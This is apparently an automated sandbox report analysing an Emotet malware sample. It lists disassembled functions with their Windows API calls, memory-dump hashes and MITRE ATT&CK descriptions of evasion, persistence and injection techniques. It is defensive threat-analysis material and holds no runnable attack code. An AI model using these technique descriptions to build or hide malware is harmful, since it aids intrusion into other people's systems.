Part of subcall function 0041392E: __getptd_noexit.LIBCMT ref: 00413931
Part of subcall function 0041392E: __amsg_exit.LIBCMT ref: 0041393E

__amsg_exit.LIBCMT ref: 00414EDC
__lock.LIBCMT ref: 00414EEC
InterlockedDecrement.KERNEL32(?), ref: 00414F09
_free.LIBCMT ref: 00414F1C
InterlockedIncrement.KERNEL32(02181660), ref: 00414F34

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: b789d6f6b5b18bbc2b778a8bb90bc3a3c2b1992aeab1e833d253d5039ca1afb1
Instruction ID: 34fd155b25c25adfe3620824084a2b0933ecb3f9ce2fde051769732d93a5196a
Opcode Fuzzy Hash: b789d6f6b5b18bbc2b778a8bb90bc3a3c2b1992aeab1e833d253d5039ca1afb1
Instruction Fuzzy Hash: 6F015B79E00721ABD711EF669805BDA7760BB44725F15801BE804A7391CB6CAEC2CBDD

Function 00413191 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004131A4

Part of subcall function 004130FF: ___BuildCatchObjectHelper.LIBCMT ref: 00413135

_UnwindNestedFrames.LIBCMT ref: 004131BB
___FrameUnwindToState.LIBCMT ref: 004131C9

Strings

csm, xrefs: 00413193
csm, xrefs: 004131A0, 004131B5, 004131C8, 004131E6, 004131F6

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: 1cecf47bf90c724cacb334d80f1f1d72eb2c4336c93fda5b796e22f89546e134
Instruction ID: 9332ba3ff9db4df31153ad81b7ccdad3367009c071c3dcb25a55caf6b99e68f4
Opcode Fuzzy Hash: 1cecf47bf90c724cacb334d80f1f1d72eb2c4336c93fda5b796e22f89546e134
Instruction Fuzzy Hash: 6001FB7100110ABBDF126F51CC46EEB7F6AEF08355F044016BD1855121DB7AD9F1DBA9

Function 00415631 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041563D

Part of subcall function 0041392E: __getptd_noexit.LIBCMT ref: 00413931
Part of subcall function 0041392E: __amsg_exit.LIBCMT ref: 0041393E

__getptd.LIBCMT ref: 00415654
__amsg_exit.LIBCMT ref: 00415662
__lock.LIBCMT ref: 00415672
__updatetlocinfoEx_nolock.LIBCMT ref: 00415686

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: fd4680da6a23a9f95b296ef5c36f84049bab0c1c7715a6f47702f30f0234365f
Instruction ID: e348e55c111b0dd0511f345811d13424c8a431ddd757bbd9f2e15d6ba2996f08
Opcode Fuzzy Hash: fd4680da6a23a9f95b296ef5c36f84049bab0c1c7715a6f47702f30f0234365f
Instruction Fuzzy Hash: CBF09676940B10DBD721BB7698027CD3790AF40729F54411FF5489A2D6CB6C49C1CA9D

Function 0040F697 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0040F6ED
Process32NextW.KERNEL32(?,?), ref: 0040F734
CloseHandle.KERNEL32(?), ref: 0040F746

Strings

%d K, xrefs: 0040F6E7

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: CloseHandleNextProcess32wsprintf
String ID: %d K
API String ID: 2912679758-2382126934
Opcode ID: 7ecdd1ab545dfd2d75c17a70661e833d6c69d2c6112979b4fa8608a3f9d8cbe6
Instruction ID: 9f36e5016d7a42e12b889a531ce412ab75a6dd073b82eecd34aa996bae1b5947
Opcode Fuzzy Hash: 7ecdd1ab545dfd2d75c17a70661e833d6c69d2c6112979b4fa8608a3f9d8cbe6
Instruction Fuzzy Hash: CA11827111830196C734AB599852BFBB3E8EFC4358F144C3EE886C3691FA7C940983AB

Function 0040E170 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0040E18D
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,00000100,00000100,00000000), ref: 0040E1AE

Strings

WARNING: %s failed with error %d (%s), xrefs: 0040E1F4

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID: WARNING: %s failed with error %d (%s)
API String ID: 3479602957-1953342023
Opcode ID: b598ef8f7daf12207a35918aebcbaa5f324a21470e7471301164a79c2446e67a
Instruction ID: 71bfe3ff1a5da696a3addf6ac62f14f1fc4c04e671a446e7e169288bb51f98c2
Opcode Fuzzy Hash: b598ef8f7daf12207a35918aebcbaa5f324a21470e7471301164a79c2446e67a
Instruction Fuzzy Hash: 1201267160430066E7249B12DC86BFB3BA9EF8A710F504C3AF555CA1D0E6749890C29E

Function 0040F6B9 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0040F6ED
Process32NextW.KERNEL32(?,?), ref: 0040F734
CloseHandle.KERNEL32(?), ref: 0040F746

Strings

%d K, xrefs: 0040F6E7

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: CloseHandleNextProcess32wsprintf
String ID: %d K
API String ID: 2912679758-2382126934
Opcode ID: 9982f50e09bbd1c2d9a7096a7c8064f1faae9819a40c8dc3b266ad468783cfba
Instruction ID: 51d71b27c4b37dd042226c9a40541835d3d141334fbcb817b22f35dada8c7e80
Opcode Fuzzy Hash: 9982f50e09bbd1c2d9a7096a7c8064f1faae9819a40c8dc3b266ad468783cfba
Instruction Fuzzy Hash: 1C01527110830196C734AB589852BFBB3E9EFC4354F044D3EF986C3681EA3C944887AB

Function 0040E6A0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000401,00000000,?), ref: 0040E6C6

Part of subcall function 0040E2A0: OpenProcessToken.ADVAPI32 ref: 0040E2D4
Part of subcall function 0040E2A0: CloseHandle.KERNEL32(?), ref: 0040E35E

TerminateProcess.KERNEL32(00000000,00000009), ref: 0040E6EE
CloseHandle.KERNEL32(00000000), ref: 0040E6FA

Strings

SYSTEM, xrefs: 0040E6D9

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: Process$CloseHandleOpen$TerminateToken
String ID: SYSTEM
API String ID: 1755933052-968218125
Opcode ID: a96fa1f771f5afe9f1f92496620a833f797012d06dd2d3e5e1056d7510229cf3
Instruction ID: 8e2cb8a182e1328e513b3a34ec3bf5da011a535263a81edc7ae68b639948cf14
Opcode Fuzzy Hash: a96fa1f771f5afe9f1f92496620a833f797012d06dd2d3e5e1056d7510229cf3
Instruction Fuzzy Hash: C2F06275A0131067D330AB16AC0DFDB3FA8DBC9B10F418529F959E3282DA38880186AA

Function 020D21A0 Relevance: 6.2, APIs: 4, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 020D21F9
SetLastError.KERNEL32(0000007E), ref: 020D223B

Memory Dump Source

Source File: 00000001.00000002.2928404757.00000000020D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 020D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_20d1000_oleaut32.jbxd

Similarity

API ID: ErrorHugeLastRead
String ID:
API String ID: 3239643929-0
Opcode ID: 008c14ab15292aa2fd5f935fe55e05e6104900feb7a0ed30ad003f2f1d00d8fb
Instruction ID: 620ff548b256232dfc0631cea476320ce7075829434ff3b47c8cb035369f3c23
Opcode Fuzzy Hash: 008c14ab15292aa2fd5f935fe55e05e6104900feb7a0ed30ad003f2f1d00d8fb
Instruction Fuzzy Hash: A381A874A01309EFDB44CF94C994BAEBBB1FF88314F148198E909AB355C774AA81DF91

Function 0041586A Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0041589E
__isleadbyte_l.LIBCMT ref: 004158D1
MultiByteToWideChar.KERNEL32(00000080,00000009,00001000,?,00000000,00000000,?,?,?), ref: 00415902
MultiByteToWideChar.KERNEL32(00000080,00000009,00001000,00000001,00000000,00000000,?,?,?), ref: 00415970

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: c0eb2632c6278a3be84097047c3844163cff7a0479a0ebec46df9903c1e59601
Instruction ID: 1bfa8a3c802f93689ab76b22000e8837c631d4e9b9b80ec41d52cc0f2dacea33
Opcode Fuzzy Hash: c0eb2632c6278a3be84097047c3844163cff7a0479a0ebec46df9903c1e59601
Instruction Fuzzy Hash: CE31D271A10646EFDB20EF64C880AEE3BB5FF81320F14856AE4659B2A1D334DDD0DB59

Function 00416787 Relevance: 6.1, APIs: 4, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 004167A8

Part of subcall function 0041025B: __FF_MSGBANNER.LIBCMT ref: 00410274
Part of subcall function 0041025B: __NMSG_WRITE.LIBCMT ref: 0041027B
Part of subcall function 0041025B: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00413CED,?,00000001,?,?,004147E0,00000018,0041BE58,0000000C,00414870), ref: 004102A0

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 291dd56cd004a0e554d27551375521f7d94099034c9c239543eeae30dd5861c5
Instruction ID: 3c08702fd25ada2266926da53e5058be595d777b16bfef6a83bfe969bb48a588
Opcode Fuzzy Hash: 291dd56cd004a0e554d27551375521f7d94099034c9c239543eeae30dd5861c5
Instruction Fuzzy Hash: 6211EB32501611ABDB213FB5BC15ADA3794AF44378B21843BF869962A0DB3DCCC1869C

Function 020D2430 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00000040,00000004,?), ref: 020D2468
VirtualProtect.KERNEL32(00000000,000000F8,00000004,?), ref: 020D24B2

Strings

@, xrefs: 020D2453

Memory Dump Source

Source File: 00000001.00000002.2928404757.00000000020D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 020D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_20d1000_oleaut32.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 093391c2c66afd646e511b9a203468c332010d596d7c9c0286f6b026c9d59a69
Instruction ID: 8ce14dfec83e87b7b250ca3dc2cf2df4c47f49a64fe8439e3f45821a84961411
Opcode Fuzzy Hash: 093391c2c66afd646e511b9a203468c332010d596d7c9c0286f6b026c9d59a69
Instruction Fuzzy Hash: 5F21A8B4D06309EFDB14CF94C984BAEBBB5BF44304F108599ED05A7245C774AA80EB55

Function 00412F0A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004106ED: __getptd.LIBCMT ref: 004106F3
Part of subcall function 004106ED: __getptd.LIBCMT ref: 00410703

__getptd.LIBCMT ref: 00412F19

Part of subcall function 0041392E: __getptd_noexit.LIBCMT ref: 00413931
Part of subcall function 0041392E: __amsg_exit.LIBCMT ref: 0041393E

__getptd.LIBCMT ref: 00412F27

Strings

csm, xrefs: 00412F35

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: e3664caf934b3eefaaa5df4d7cacef43b1cf49a14ce4952649e901bdecbea5d6
Instruction ID: 69b6639a9ef3a36a169a6a5565f12a55bffb05f741e2618f410494396190d148
Opcode Fuzzy Hash: e3664caf934b3eefaaa5df4d7cacef43b1cf49a14ce4952649e901bdecbea5d6
Instruction Fuzzy Hash: 80014B348002058FCF34DF26D6406EEB3B5AF20311F14462FE44496359DBB89AE6EF49

Function 0040E7B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

InitCommonControlsEx.COMCTL32 ref: 0040E7BF
CreateWindowExW.USER32(00000000,SysListView32,00419450,50010201,0000000A,00000028,00000190,000001F4,?,00000000,00000000,00000000), ref: 0040E7F4

Strings

SysListView32, xrefs: 0040E7ED

Memory Dump Source

Source File: 00000001.00000002.2928085310.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928068926.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928104059.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928118061.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2928134425.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_oleaut32.jbxd

Similarity

API ID: CommonControlsCreateInitWindow
String ID: SysListView32
API String ID: 2646078016-78025650
Opcode ID: f7c3c60ebf2b29c8cd91b1213f0e9bf28fa0210beb0f04a3fb4def70d8a6e988
Instruction ID: f3d3e535e189fff61838196dd880c7fe0caa92239aab9ee536b101cdf5704626
Opcode Fuzzy Hash: f7c3c60ebf2b29c8cd91b1213f0e9bf28fa0210beb0f04a3fb4def70d8a6e988
Instruction Fuzzy Hash: 99E04F747843007FF6509B40DC5BF963764A788F05F50C024F649A51C0D6F46885866A

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ExeFile (317).exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Emotet

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

